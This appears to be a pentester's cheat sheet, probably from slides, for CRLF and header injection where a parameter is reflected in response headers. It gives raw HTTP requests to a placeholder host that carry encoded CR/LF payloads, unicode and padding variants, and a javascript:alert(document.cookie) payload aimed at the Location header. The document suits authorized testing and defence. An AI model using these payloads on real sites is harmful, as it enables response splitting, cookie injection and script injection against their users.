

Reflection IN Header

HTTP/1.1 200 OK

Connection: Keep-Alive

Content-Encoding: gzip

Content-Type: text/html; charset=utf-8

Set-Cookie: Parameter=Value; Path=/; secure

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Try To Inject Carriage Return Line Feed e.g. \r\n With New Header e.g. Set-Cookies:%20Me



Slides

GET /Reflect-IN-Header?Parameter=\r\nH:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded



Try To Inject Carriage Return Line Feed e.g. %0D%0A With New Header e.g. Set-Cookies:%20Me



• 1 Writeup

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GET /Reflect-IN-Header?Parameter=%0D%0AH:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded



Try To Inject Carriage Return OR Line Feed Only e.g. %0D OR %0A With New Header e.g. Set-Cookies:%20Me



Slides



Writeup

GET /Reflect-IN-Header?Parameter=%0DH:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Try To Inject ASCII Symbols Carriage Return Line Feed e.g. 0x0D0x0A With New Header e.g. Set-Cookies:%20Me



Slides

GET /Reflect-IN-Header?

Parameter=0x0D0x0AH: %20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded



Try To Inject Encoding Carriage Return Line Feed e.g. %E5%98%8A%E5%98%8D With New Header e.g. Set-Cookies:%20Me



Slides



Writeup

GET /Reflect-IN-Header?

Parameter=%E5%98%8A%E5%98%8DH:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Try To Inject Unicoding Carriage Return Line Feed e.g. \u560d\u560a With New Header e.g. Set-Cookies:%20Me



Slides

GET /Reflect-IN-Header?

Parameter=\u560d\u560aH:\%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Try To Inject Large String ++++++ 7000 bytes ++++++ With New Header e.g. Set-Cookies:%20Me

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GET /Reflect-IN-Header?

Parameter=+++++ 7000 bytes +++++H:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded



Try To Inject Encoding Carriage Return OR Line Feed e.g. %3F%0D, %23%0D, %3F%0A OR %23%0A With New Header e.g. Set-Cookies:%20Me If Anything After Path Reflected In Location Header



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GET /Path%3F%0DH:%20V HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded



Try To Inject /x:1/:///%01javascript:alert(document.cookie)/ If Anything After Root Directory Reflected In Location Header



Slides



Writeup

GET //x:1/://%01javascript:alert(document.cookie)/ HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Thank You

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